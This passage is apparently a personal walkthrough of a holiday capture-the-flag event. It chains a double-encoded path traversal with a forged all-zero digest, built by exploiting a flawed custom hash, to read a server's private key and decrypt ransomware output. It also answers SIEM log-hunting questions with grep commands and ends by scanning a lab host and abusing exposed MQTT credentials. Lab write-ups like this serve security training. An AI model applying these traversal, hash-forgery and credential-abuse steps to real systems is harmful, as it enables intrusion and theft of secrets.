). This means that if we pass a hash (as the digest parameter) that corresponds to the generated hash, we can convince the server to recognise the call as valid.
We know that we can use the debug parameter to force the server to output the content of a file. From the challenge Santa vision, we still have a suitable target from the frostbit feed that we can use as a target. With a double encoding, we can also produce a path traversal.
curl "https://api.frostbit.app/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fissue.net-NOTFOUND/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=c2818084c4104a481e8b81e34402011&debug=true"
{"debug":true,"error":"Status Id File Not Found"}
curl "https://api.frostbit.app/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fissue.net/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=c2818084c4104a481e8b81e34402011&debug=true"
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Odd-length string\n"}
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
To debug dispaly this interesting file, however, we would actually need to know the content of the file, which of course we cannot know. However, if we take a closer look at the calculation logic for hash generation, we recognise a flaw that we may be able to exploit. To do this, we create a local copy and enrich it with debug outputs to better understand the concept:
import binascii
import sys
import urllib.parse
class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
self.filename_bytes_length = len(self.filename_bytes)
self.nonce_bytes = nonce_bytes
self.nonce_bytes_length = len(self.nonce_bytes)
self.hash_length = hash_length
self.hash_result = self._compute_hash()
def _compute_hash(self) -> bytes:
hash_result = bytearray(self.hash_length)
count = 0
for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1
for i in range(len(self.filename_bytes)):
count_mod = count % self.hash_length
count_filename_mod = count % self.filename_bytes_length
count_nonce_mod = count % self.nonce_bytes_length
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
hash_result[count_mod] = hash_result[count_mod] & xrd
print(f'Digest Pos({count_mod}) = Filename Pos({count_filename_mod}) XOR Nonce Pos({count_nonce_mod}) AND Digest Pos({count_mod}) = {hex(self.filename_bytes[count_filename_mod])} XOR {hex(self.nonce_bytes[count_nonce_mod])} AND {hex(hash_result[count_mod])} = {hex(hash_result[count_mod] & xrd)}')
count += 1
return bytes(hash_result)
def digest(self) -> bytes:
"""Returns the raw binary hash result."""
return self.hash_result
def hexdigest(self) -> str:
"""Returns the hash result as a hexadecimal string."""
return binascii.hexlify(self.hash_result).decode()
def update(self, file_bytes: bytes = None, filename_bytes: bytes = None, nonce_bytes: bytes = None):
"""Updates the internal state with new bytes and recomputes the hash."""
if file_bytes is not None:
self.file_bytes = file_bytes
if filename_bytes is not None:
self.filename_bytes = filename_bytes
if nonce_bytes is not None:
self.nonce_bytes = nonce_bytes
self.hash_result = self._compute_hash()
def validate(self, hex_string: str):
"""Validates if the provided hex string matches the computed hash."""
try:
decoded_bytes = binascii.unhexlify(hex_string)
if decoded_bytes == self.digest():
return True, None
except Exception as e:
stack_trace = traceback.format_exc()
return False, f"{stack_trace}"
return False, None
# Convert ASCII string to bytes
encoded_string = "%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key"
decoded_once = urllib.parse.unquote(encoded_string)
decoded_twice = urllib.parse.unquote(decoded_once)
print ("once: " + decoded_once)
filename_bytes = decoded_twice.encode('latin')
print ("url: " + decoded_twice)
filename_bytes = binascii.unhexlify("72ffa4aac16f1c1272ffa4aac16f1c12") + filename_bytes # <-------- INSERT bytes to ZERO the NONCE with XOR help
print ("filename_bytes: " + str(filename_bytes))
file_bytes_string = sys.argv[1]
file_bytes = file_bytes_string.encode('utf-8')
# Convert hex string to bytes
nonce_bytes = binascii.unhexlify("a4aac16f1c1272ff")
#nonce_bytes = binascii.unhexlify("0000000000000000")
# Set hash length
hash_length = 16
# Initialize the Frostbyte128 object
frostbyte = Frostbyte128(file_bytes, filename_bytes, nonce_bytes, hash_length)
# To check the resulting hash in hexadecimal
print(frostbyte.hexdigest())
python frostbit.py sdddddddddfsdfsdfdsfsdjfbasdfbsdhafbjsdhfbasdfsdsdfsdf
once: %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fnginx%2fcerts%2fapi.frostbit.app.key
url: ../../../../../../etc/nginx/certs/api.frostbit.app.key
filename_bytes: b'r\xff\xa4\xaa\xc1o\x1c\x12r\xff\xa4\xaa\xc1o\x1c\x12../../../../../../etc/nginx/certs/api.frostbit.app.key'
Digest Pos(6) = Filename Pos(54) XOR Nonce Pos(6) AND Digest Pos(6) = 0x66 XOR 0x72 AND 0x10 = 0x10
Digest Pos(7) = Filename Pos(55) XOR Nonce Pos(7) AND Digest Pos(7) = 0x72 XOR 0xff AND 0x85 = 0x85
Digest Pos(8) = Filename Pos(56) XOR Nonce Pos(0) AND Digest Pos(8) = 0x6f XOR 0xa4 AND 0xc0 = 0xc0
Digest Pos(9) = Filename Pos(57) XOR Nonce Pos(1) AND Digest Pos(9) = 0x73 XOR 0xaa AND 0xc9 = 0xc9
Digest Pos(10) = Filename Pos(58) XOR Nonce Pos(2) AND Digest Pos(10) = 0x74 XOR 0xc1 AND 0xb5 = 0xb5
Digest Pos(11) = Filename Pos(59) XOR Nonce Pos(3) AND Digest Pos(11) = 0x62 XOR 0x6f AND 0x9 = 0x9
Digest Pos(12) = Filename Pos(60) XOR Nonce Pos(4) AND Digest Pos(12) = 0x69 XOR 0x1c AND 0x70 = 0x70
Digest Pos(13) = Filename Pos(61) XOR Nonce Pos(5) AND Digest Pos(13) = 0x74 XOR 0x12 AND 0x60 = 0x60
Digest Pos(14) = Filename Pos(62) XOR Nonce Pos(6) AND Digest Pos(14) = 0x2e XOR 0x72 AND 0x0 = 0x0
Digest Pos(15) = Filename Pos(63) XOR Nonce Pos(7) AND Digest Pos(15) = 0x61 XOR 0xff AND 0x9a = 0x9a
Digest Pos(0) = Filename Pos(64) XOR Nonce Pos(0) AND Digest Pos(0) = 0x70 XOR 0xa4 AND 0x4 = 0x4
Digest Pos(1) = Filename Pos(65) XOR Nonce Pos(1) AND Digest Pos(1) = 0x70 XOR 0xaa AND 0x0 = 0x0
Digest Pos(2) = Filename Pos(66) XOR Nonce Pos(2) AND Digest Pos(2) = 0x2e XOR 0xc1 AND 0x7 = 0x7
Digest Pos(3) = Filename Pos(67) XOR Nonce Pos(3) AND Digest Pos(3) = 0x6b XOR 0x6f AND 0x0 = 0x0
Digest Pos(4) = Filename Pos(68) XOR Nonce Pos(4) AND Digest Pos(4) = 0x65 XOR 0x1c AND 0x19 = 0x19
Digest Pos(5) = Filename Pos(69) XOR Nonce Pos(5) AND Digest Pos(5) = 0x79 XOR 0x12 AND 0x1 = 0x1
Digest Pos(6) = Filename Pos(0) XOR Nonce Pos(6) AND Digest Pos(6) = 0x72 XOR 0x72 AND 0x0 = 0x0 <-------- START of NONCE zeroing
Digest Pos(7) = Filename Pos(1) XOR Nonce Pos(7) AND Digest Pos(7) = 0xff XOR 0xff AND 0x0 = 0x0
Digest Pos(8) = Filename Pos(2) XOR Nonce Pos(0) AND Digest Pos(8) = 0xa4 XOR 0xa4 AND 0x0 = 0x0
Digest Pos(9) = Filename Pos(3) XOR Nonce Pos(1) AND Digest Pos(9) = 0xaa XOR 0xaa AND 0x0 = 0x0
Digest Pos(10) = Filename Pos(4) XOR Nonce Pos(2) AND Digest Pos(10) = 0xc1 XOR 0xc1 AND 0x0 = 0x0
Digest Pos(11) = Filename Pos(5) XOR Nonce Pos(3) AND Digest Pos(11) = 0x6f XOR 0x6f AND 0x0 = 0x0
Digest Pos(12) = Filename Pos(6) XOR Nonce Pos(4) AND Digest Pos(12) = 0x1c XOR 0x1c AND 0x0 = 0x0
Digest Pos(13) = Filename Pos(7) XOR Nonce Pos(5) AND Digest Pos(13) = 0x12 XOR 0x12 AND 0x0 = 0x0
Digest Pos(14) = Filename Pos(8) XOR Nonce Pos(6) AND Digest Pos(14) = 0x72 XOR 0x72 AND 0x0 = 0x0
Digest Pos(15) = Filename Pos(9) XOR Nonce Pos(7) AND Digest Pos(15) = 0xff XOR 0xff AND 0x0 = 0x0
Digest Pos(0) = Filename Pos(10) XOR Nonce Pos(0) AND Digest Pos(0) = 0xa4 XOR 0xa4 AND 0x0 = 0x0
Digest Pos(1) = Filename Pos(11) XOR Nonce Pos(1) AND Digest Pos(1) = 0xaa XOR 0xaa AND 0x0 = 0x0
Digest Pos(2) = Filename Pos(12) XOR Nonce Pos(2) AND Digest Pos(2) = 0xc1 XOR 0xc1 AND 0x0 = 0x0
Digest Pos(3) = Filename Pos(13) XOR Nonce Pos(3) AND Digest Pos(3) = 0x6f XOR 0x6f AND 0x0 = 0x0
Digest Pos(4) = Filename Pos(14) XOR Nonce Pos(4) AND Digest Pos(4) = 0x1c XOR 0x1c AND 0x0 = 0x0
Digest Pos(5) = Filename Pos(15) XOR Nonce Pos(5) AND Digest Pos(5) = 0x12 XOR 0x12 AND 0x0 = 0x0
Digest Pos(6) = Filename Pos(16) XOR Nonce Pos(6) AND Digest Pos(6) = 0x2e XOR 0x72 AND 0x0 = 0x0
Digest Pos(7) = Filename Pos(17) XOR Nonce Pos(7) AND Digest Pos(7) = 0x2e XOR 0xff AND 0x0 = 0x0
Digest Pos(8) = Filename Pos(18) XOR Nonce Pos(0) AND Digest Pos(8) = 0x2f XOR 0xa4 AND 0x0 = 0x0
Digest Pos(9) = Filename Pos(19) XOR Nonce Pos(1) AND Digest Pos(9) = 0x2e XOR 0xaa AND 0x0 = 0x0
Digest Pos(10) = Filename Pos(20) XOR Nonce Pos(2) AND Digest Pos(10) = 0x2e XOR 0xc1 AND 0x0 = 0x0
Digest Pos(11) = Filename Pos(21) XOR Nonce Pos(3) AND Digest Pos(11) = 0x2f XOR 0x6f AND 0x0 = 0x0
Digest Pos(12) = Filename Pos(22) XOR Nonce Pos(4) AND Digest Pos(12) = 0x2e XOR 0x1c AND 0x0 = 0x0
Digest Pos(13) = Filename Pos(23) XOR Nonce Pos(5) AND Digest Pos(13) = 0x2e XOR 0x12 AND 0x0 = 0x0
Digest Pos(14) = Filename Pos(24) XOR Nonce Pos(6) AND Digest Pos(14) = 0x2f XOR 0x72 AND 0x0 = 0x0
Digest Pos(15) = Filename Pos(25) XOR Nonce Pos(7) AND Digest Pos(15) = 0x2e XOR 0xff AND 0x0 = 0x0
Digest Pos(0) = Filename Pos(26) XOR Nonce Pos(0) AND Digest Pos(0) = 0x2e XOR 0xa4 AND 0x0 = 0x0
Digest Pos(1) = Filename Pos(27) XOR Nonce Pos(1) AND Digest Pos(1) = 0x2f XOR 0xaa AND 0x0 = 0x0
Digest Pos(2) = Filename Pos(28) XOR Nonce Pos(2) AND Digest Pos(2) = 0x2e XOR 0xc1 AND 0x0 = 0x0
Digest Pos(3) = Filename Pos(29) XOR Nonce Pos(3) AND Digest Pos(3) = 0x2e XOR 0x6f AND 0x0 = 0x0
Digest Pos(4) = Filename Pos(30) XOR Nonce Pos(4) AND Digest Pos(4) = 0x2f XOR 0x1c AND 0x0 = 0x0
Digest Pos(5) = Filename Pos(31) XOR Nonce Pos(5) AND Digest Pos(5) = 0x2e XOR 0x12 AND 0x0 = 0x0
Digest Pos(6) = Filename Pos(32) XOR Nonce Pos(6) AND Digest Pos(6) = 0x2e XOR 0x72 AND 0x0 = 0x0
Digest Pos(7) = Filename Pos(33) XOR Nonce Pos(7) AND Digest Pos(7) = 0x2f XOR 0xff AND 0x0 = 0x0
Digest Pos(8) = Filename Pos(34) XOR Nonce Pos(0) AND Digest Pos(8) = 0x65 XOR 0xa4 AND 0x0 = 0x0
Digest Pos(9) = Filename Pos(35) XOR Nonce Pos(1) AND Digest Pos(9) = 0x74 XOR 0xaa AND 0x0 = 0x0
Digest Pos(10) = Filename Pos(36) XOR Nonce Pos(2) AND Digest Pos(10) = 0x63 XOR 0xc1 AND 0x0 = 0x0
Digest Pos(11) = Filename Pos(37) XOR Nonce Pos(3) AND Digest Pos(11) = 0x2f XOR 0x6f AND 0x0 = 0x0
Digest Pos(12) = Filename Pos(38) XOR Nonce Pos(4) AND Digest Pos(12) = 0x6e XOR 0x1c AND 0x0 = 0x0
Digest Pos(13) = Filename Pos(39) XOR Nonce Pos(5) AND Digest Pos(13) = 0x67 XOR 0x12 AND 0x0 = 0x0
Digest Pos(14) = Filename Pos(40) XOR Nonce Pos(6) AND Digest Pos(14) = 0x69 XOR 0x72 AND 0x0 = 0x0
Digest Pos(15) = Filename Pos(41) XOR Nonce Pos(7) AND Digest Pos(15) = 0x6e XOR 0xff AND 0x0 = 0x0
Digest Pos(0) = Filename Pos(42) XOR Nonce Pos(0) AND Digest Pos(0) = 0x78 XOR 0xa4 AND 0x0 = 0x0
Digest Pos(1) = Filename Pos(43) XOR Nonce Pos(1) AND Digest Pos(1) = 0x2f XOR 0xaa AND 0x0 = 0x0
Digest Pos(2) = Filename Pos(44) XOR Nonce Pos(2) AND Digest Pos(2) = 0x63 XOR 0xc1 AND 0x0 = 0x0
Digest Pos(3) = Filename Pos(45) XOR Nonce Pos(3) AND Digest Pos(3) = 0x65 XOR 0x6f AND 0x0 = 0x0
Digest Pos(4) = Filename Pos(46) XOR Nonce Pos(4) AND Digest Pos(4) = 0x72 XOR 0x1c AND 0x0 = 0x0
Digest Pos(5) = Filename Pos(47) XOR Nonce Pos(5) AND Digest Pos(5) = 0x74 XOR 0x12 AND 0x0 = 0x0
Digest Pos(6) = Filename Pos(48) XOR Nonce Pos(6) AND Digest Pos(6) = 0x73 XOR 0x72 AND 0x0 = 0x0
Digest Pos(7) = Filename Pos(49) XOR Nonce Pos(7) AND Digest Pos(7) = 0x2f XOR 0xff AND 0x0 = 0x0
Digest Pos(8) = Filename Pos(50) XOR Nonce Pos(0) AND Digest Pos(8) = 0x61 XOR 0xa4 AND 0x0 = 0x0
Digest Pos(9) = Filename Pos(51) XOR Nonce Pos(1) AND Digest Pos(9) = 0x70 XOR 0xaa AND 0x0 = 0x0
Digest Pos(10) = Filename Pos(52) XOR Nonce Pos(2) AND Digest Pos(10) = 0x69 XOR 0xc1 AND 0x0 = 0x0
Digest Pos(11) = Filename Pos(53) XOR Nonce Pos(3) AND Digest Pos(11) = 0x2e XOR 0x6f AND 0x0 = 0x0
00000000000000000000000000000000
So if we set the appropriate bytes at the appropriate place (as indicated in the programme code and in the output), we can always set the value to zero using the XOR operation, so that ultimately the entire digest consists only of zeros. If we now insert our target file double encoded, we are finally successful:
curl "https://api.frostbit.app/view/%25c1%256f%251c%2512%2572%25ff%25a4%25aa%25c1%256f%251c%2512%2572%25ff%25a4%25aa%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fnginx%252fcerts%252fapi.frostbit.app.key/37492952-8386-4a00-b6ad-f8accc4ef12f/status?digest=00000000000000000000000000000000&debug=true"
...
const uuid = "37492952-8386-4a00-b6ad-f8accc4ef12f";
const debugData = "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKS0FJQkFBS0NBZ0VBcGxnNWVLRHZrOWYrZ3NXV1pVdHBGcjgwb2pUWmFibTRSdHkwTG9yd3RxNVZKZDM3Cjh
...
The final steps now follow. Firstly, we use CyberChef to decrypt the encrypted key using the RSA private key we have just received. Finally we get the real key.
Now the last step remains, the decryption of the naught and nice list. Of course, we don't really know the algorithm used. So let's take another look at the programme, either via the command line or a debugger. Using this knowledge and the AES algorithm, we can finally recover everything. A truly mammoth task!
strings frostbit.elf | grep -i decrypt
...
crypto/aes.(*aesCipher).Decrypt
...
go:itab.*crypto/cipher.cbcDecrypter,crypto/cipher.BlockMode
...
.text:00000000006A0D60 ; void __golang main_encryptFile(string_0 inputFilePath, string_0 outputFilePath, string_0 keyHex, error_0 _r0, error_0 _r0)
.text:00000000006A0D60 public main_encryptFile
call runtime_stringtoslicebyte
call os_ReadFile
lea rcx, main_encryptFile_func1
call runtime_makeslice
call crypto_rand_Read
call crypto_aes_NewCipher
call bytes_Repeat
call runtime_growslice
call runtime_makeslice
call crypto_cipher_NewCBCEncrypter
mode = rbx ; crypto_cipher_BlockMode
call os_OpenFile
call os__ptr_File_Write
.text:00000000006A1780 ; void __golang main_GetNonce(string_0 hostname, string_0 botid, net_http_Client *client, bool getPublicKey, bool _r0, bool _r0, string_0 _r1, string_0 _r1, crypto_rsa_PublicKey *_r2, crypto_rsa_PublicKey *_r2)
.text:00000000006A1780 public main_GetNonce
client_0 = rsi ; net_http_Client *
getPublicKey_0 = r8 ; bool
botid = rcx
hostname = rbx
call net_http__ptr_Client_Get
call runtime_newobject
call encoding_json_Unmarshal
cert = rax ; crypto_x509_Certificate *
.text:00000000006A1A84 lea rdx, RTYPE__ptr_rsa_PublicKey
lea rax, aErrorThePublic ; "Error: The public key is not RSA"
lea rax, aErrorNoPeerCer ; "Error: No peer certificates found"
lea rax, aErrorNonceFiel ; "Error: 'nonce' field is missing or not "...
Well, I’ll be a reindeer’s uncle! You've done it, Gumshoe! You cracked that frosty code and saved the Naughty-Nice List just in the nick of time. The elves’ll be singin’ your praises from here to the South Pole! I knew you had it in ya. Now, let’s get these toys delivered and make this a holiday to remember. You're a true North Pole hero!
Help the ElfSOC analysts track down a malicious attack against the North Pole domain.
I'm the creator of the North Pole Elf Stack SIEM, and we're facing a crisis - Wombley's FrostBit ransomware attack has left our logs in chaos and destroyed our only backup of the Naughty-Nice List on his laptop. With Santa furious about all the fighting, we need your help analyzing the logs using our ELK stack or Linux CLI tools to trace the attack path and hopefully make things right.
Elf Stack Intro Hints: I'm part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!
Elf Stack Fields Hints: If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.
Elf Stack WinEvent Hints: One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.
For the sake of simplicity, I am providing the question, the statement and the answer in each case:
In principle, you can decide here whether to solve the task with the help of the Elastic stack or to rely on Linux basic tools. I chose the latter because it allowed me to get results faster and, in some cases, to look at other useful context better, which would have taken more time in Elastic.
Question 1: How many unique values are there for the event_source field in all logs?
cat log_chunk_* | cut -f 4 -d " " | sort | uniq
5
Question 2: Which event_source has the fewest number of events related to it?
for i in AuthLog GreenCoat NetflowPmacct SnowGlowMailPxy WindowsEvent; do echo $i; grep $i log_chunk_* | wc; done
AuthLog
Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?
grep AuthLog log_chunk_* | grep host | head -n 1
hostname
Question 4: Which event_source has the second highest number of events related to it?
(same statement as Q2)
NetflowPmacct
Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?
grep NetflowPmacct log_chunk_* | grep port | head -n 1
port_dst
Question 6: Which event_source is related to email traffic?
(same statement as Q1)
SnowGlowMailPxy
Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?
grep SnowGlowMailPxy log_chunk_* | grep email | head -n 1
Body
Question 8: Using the 'GreenCoat' event_source, what is the only value in the hostname field?
grep GreenCoat log_chunk_* | cut -f 3 -d " " | sort | uniq
SecureElfGwy
Question 9: Using the 'GreenCoat' event_source, what is the name of the field that contains the site visited by a client in the network?
grep GreenCoat log_chunk_* | head -n 1
url
Question 10: Using the 'GreenCoat' event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?
grep GreenCoat log_chunk_* | awk -F'"url":' '{split($2, a, ","); print a[1]}' | sort | uniq -c | sort
pagead2.googlesyndication.com:443
Question 11: Using the 'WindowsEvent' event_source, how many unique Channels is the SIEM receiving Windows event logs from?
grep WindowsEvent log_chunk_* | awk -F'"Channel":' '{split($2, a, ","); print a[1]}' | sort | uniq
5
Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?
grep WindowsEvent log_chunk_* | awk -F'"Channel":' '{split($2, a, ","); print a[1]}' | sort | uniq -c
Microsoft-Windows-Sysmon/Operational
Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?
6 (Google Search)
Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?
4697 (Google Search)
Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?
grep WindowsEvent log_chunk_* | grep "\"EventID\": 4720"
0
Up for the real challenge? Take a deep dive into those logs and query your way through the chaos. It might be tricky, but I know your adaptable skills will crack it!
Elf Stack PowerShell Hints: Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.
Elf Stack Hard - Email1 Hints: I was on my way to grab a cup of hot chocolate the other day when I overheard the reindeer talking about playing games. The reindeer mentioned trying to invite Wombley and Alabaster to their games. This may or may not be great news. All I know is, the reindeer better create formal invitations to send to both Wombley and Alabaster.
Elf Stack Hard - Email2 Hints: Some elves have tried to make tweaks to the Elf Stack log parsing logic, but only a seasoned SIEM engineer or analyst may find that task useful.
Again, for the sake of simplicity, I will give the questions, statements and appropriate answers. This time, a little ingenuity and creativity is sometimes required.
Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?
1 (Google Search)
Question 2: How many unique values are there for the 'event_source' field in all of the logs?
cat log_chunk_* | cut -f 4 -d " " | sort | uniq
5
Question 3: What is the event_source name that contains the email logs?
cat log_chunk_* | cut -f 4 -d " " | sort | uniq
SnowGlowMailPxy
Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event 'From:' field for this email log event.
grep SnowGlowMailPxy log_chunk_* | awk -F'"ReceivedIP2":' '{split($2, a, ","); print a[1]}' | sort | uniq
grep SnowGlowMailPxy log_chunk_* | grep "ReceivedIP2\": \"34.30.110.62"
kriskring1e@northpole.local
Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.
grep GreenCoat log_chunk_* | grep "url\": \".*howtosavexmas.zip"
SleighRider
Question 6: What was the IP address of the system you found in the previous question?
grep GreenCoat log_chunk_* | grep "url\": \".*howtosavexmas.zip"
172.24.25.12
Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?
grep WindowsEvent log_chunk_* | grep "ProcessName\": \".*howtosavexmas.*" | grep "ObjectType\": \".*File.*"
10014
Question 8: Did the attacker's payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.
grep WindowsEvent log_chunk_* | grep "ProcessID\": 10014" | grep "Image\": \".*howtosavexmas.*" | grep Port
8443
Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.
grep WindowsEvent log_chunk_* | grep "ProcessID\": 10014" | grep pipe
ddpvccdbr
Question 10: The attacker's process attempted to access a file. Submit the full and complete file path accessed by the attacker's process.
grep WindowsEvent log_chunk_* | grep "ProcessName\": \".*howtosavexmas.*" | grep File
C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem
Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?
cat log_chunk_* | grep "34.30.110.62" | grep -i ssh | grep -i hostname
kringleSSleigH
Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?
grep AuthLog log_chunk_* | grep "new user"
ssdh
Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?
grep AuthLog log_chunk_* | grep -A 20 "new user" | grep COMMAND
/usr/sbin/usermod -a -G sudo ssdh
Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.
grep WindowsEvent log_chunk_*.log| grep "EventID\": 2889" | grep "Computer\": \"dc.*" | head -n 1
2024-09-16T11:10:12-04:00
Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.
grep WindowsEvent log_chunk_*.log| grep -i "certificate template"
KringleGuard
Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?
grep WindowsEvent log_chunk_*.log| grep -i "certificate template"
nutcrakr
Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.
grep WindowsEvent log_chunk_*.log| grep "Subject_AccountName\": \"nutcrakr" | grep "EventID\": 5140" | grep accessed
WishLists
Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?
grep WindowsEvent log_chunk_*.log| grep -i "nutcrakr" | grep -i payload | grep pswd
fR0s3nF1@k3_s
Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?
grep WindowsEvent log_chunk_*.log| grep "EventID\": 4624" | grep "LogonType\": 10"
2024-09-16T15:35:57.000Z
Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?
grep WindowsEvent log_chunk_*.log| grep "CurrentDirectory\": .*List.*"
C:\WishLists\santadms_only\its_my_fakelst.txt
Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?
grep SnowGlowMailPxy log_chunk_*.log| awk -F'"From":' '{split($2, a, ","); print a[1]}' | sort | uniq| grep cub
4
Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?
grep SnowGlowMailPxy log_chunk_*.log| grep "From\": \"asnow" | grep "To\": \"wcub" | wc
22
Question 23: Of all the reindeer, there are only nine. What's the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.
grep SnowGlowMailPxy log_chunk_*.log| awk -F'"From":' '{split($2, a, ","); print a[1]}' | sort | uniq -c | sort | grep -i rudolph
rud01ph.glow
Question 24: With a fiery tail seen once in great years, what's the domain for the reindeer who flies without fears? To help you narrow your search, search the events in the 'SnowGlowMailPxy' event source.
grep SnowGlowMailPxy log_chunk_*.log| awk -F'"From":' '{split($2, a, ","); print a[1]}' | sort | uniq -c | sort | grep -i reindeer
c0m3t.halleys
I'm so impressed with how efficiently you worked through the ELK stack logs like an expert - your quick and accurate analysis of the attack chain might just be what we need to get Santa smiling again! With skills like yours piecing together the attack path, the North Pole owes you a huge debt of gratitude.
Alabaster and Wombley have poisoned the Santa Vision feeds! Knock them out to restore everyone back to their regularly scheduled programming.
I'm Ribb Bonbowford, and we've got a critical situation with the Santa Broadcast Network being hijacked by both sides to spread propaganda. We need your help accessing the SantaVision infrastructure through this terminal - once you get the IP address, you'll need to scan for services and make a crucial configuration change to prevent multiple admin privileges, which should restore positive, cooperative content to the broadcast and help reunite the elves.
First, we boot the GateXOR. After a while, we see:
GateXOR> building up finished...
GateXOR> {end}...[timeline] reverted!
GateXOR> [Instructions] Your SantaVision instance is now available at the IP address above. Scan the IP address to begin the challenge. Good luck!!
We scan the IP with nmap to get a first overview over the running services (the IP address is, of course, different every time):
sudo nmap -sS 35.239.127.24 --top-ports 2000
...
PORT STATE SERVICE
22/tcp open ssh
1883/tcp open mqtt
8000/tcp open http-alt
9001/tcp open tor-orport
First of all, we take a look around the web server and find credentials in the HTML source code that we can use to log in: elfanon:elfanon
http://35.239.127.24:8000/
...
<div class="footer" id="footer">
<b>©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.<br>(<i>topic 'sitestatus'</i> available.)</b>
</div> <!-- mqtt: elfanon:elfanon -->
After we have logged in, we first look at possible clients via List Available Clients
and possible roles via List Available Roles
. From this, we can derive another pair of credentials that we can use to display the feeds: elfmonitor:SiteElfMonitorRole. The feed name northpolefeeds
is derived from the challenge and the IP/port from the information we have from the Nmap scan.
Next, we subscribe to the frostbitfeed MQTT topic using a command line client. After a while, we see an additional interesting feed: santafeed:
(This could have been done very easily via the web application (connect to broadcast feed
). But I also wanted to try the alternative way via the command line as seen in the hints.)
mosquitto_sub -h 35.239.127.24 -p 1883 -u "elfmonitor" -P "SiteElfMonitorRole" -t "frostbitfeed" -d
...
Client null received PUBLISH (d0, q0, r0, m0, 'frostbitfeed', ... (42 bytes))
Additional messages available in santafeed
If we look at this feed too, we get the code name for the elves' secret operation: Idemcerybu:
mosquitto_sub -h 35.239.127.24 -p 1883 -u "elfmonitor" -P "SiteElfMonitorRole" -t "santafeed" -d
...
Client null received PUBLISH (d0, q0, r0, m0, 'santafeed', ... (44 bytes))
Sixteen elves launched operation: Idemcerybu
The last step is to lock out Alabaster and Wombley. If we keep listening to the santafeed, we see a message that would probably be suitable for this: singleAdminMode=true
. If we send it the the feed, we will see the restored feed in the screens. So Santa uses a pogo stick as a conception:
